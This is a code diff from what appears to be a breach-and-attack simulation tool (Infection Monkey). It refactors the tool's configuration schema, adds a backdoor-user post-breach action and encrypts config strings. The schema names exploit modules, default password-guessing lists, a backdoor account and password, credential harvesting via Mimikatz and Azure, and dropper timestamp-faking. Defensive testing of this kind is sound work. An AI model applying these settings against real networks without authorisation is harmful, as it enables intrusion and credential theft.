"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
}
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"MSSQLExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"ms08_067_remote_user_add": {
"title": "MS08_067 remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"ms08_067_remote_user_pass": {
"title": "MS08_067 remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 200,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
}
},
"options": {
"collapsed": True
}
}
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
[
['basic', 'credentials', 'exploit_password_list'],
@ -885,6 +24,12 @@ ENCRYPTED_CONFIG_ARRAYS = \
['internal', 'exploits', 'exploit_ssh_keys']
]
# This should be used for config values of string type
ENCRYPTED_CONFIG_STRINGS = \
[
]
class ConfigService:
default_config = None
@ -921,8 +66,11 @@ class ConfigService:
config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1})
for config_key_part in config_key_as_arr:
config = config[config_key_part]
if should_decrypt and (config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS):
config = [encryptor.dec(x) for x in config]
if should_decrypt:
if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS:
config = [encryptor.dec(x) for x in config]
elif config_key_as_arr in ENCRYPTED_CONFIG_STRINGS:
config = encryptor.dec(config)
return config
@staticmethod
@ -985,9 +133,14 @@ class ConfigService:
@staticmethod
def update_config(config_json, should_encrypt):
if should_encrypt:
ConfigService.encrypt_config(config_json)
try:
ConfigService.encrypt_config(config_json)
except KeyError as e:
logger.error('Bad configuration file was submitted.')
return False
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated')
return True
@staticmethod
def init_default_config():
@ -1074,7 +227,7 @@ class ConfigService:
"""
Same as decrypt_config but for a flat configuration
"""
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
keys = [config_arr_as_array[2] for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS)]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
# Check if we are decrypting ssh key pair
@ -1088,18 +241,26 @@ class ConfigService:
@staticmethod
def _encrypt_or_decrypt_config(config, is_decrypt=False):
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
for config_arr_as_array in (ENCRYPTED_CONFIG_ARRAYS + ENCRYPTED_CONFIG_STRINGS):
config_arr = config
parent_config_arr = None
# Because the config isn't flat, this for-loop gets the actual config value out of the config
for config_key_part in config_arr_as_array:
parent_config_arr = config_arr
config_arr = config_arr[config_key_part]
for i in range(len(config_arr)):
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types):
for i in range(len(config_arr)):
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else:
parent_config_arr[config_arr_as_array[-1]] =\
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):

View File

@ -0,0 +1,880 @@
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"post_breach_acts": {
"title": "Post breach actions",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"BackdoorUser"
],
"title": "Back door user",
},
],
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
},
"post_breach_actions": {
"title": "Post breach actions",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/post_breach_acts"
},
"default": [
"BackdoorUser",
],
"description": "List of actions the Monkey will run post breach"
},
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"user_to_add": {
"title": "Remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"remote_user_pass": {
"title": "Remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
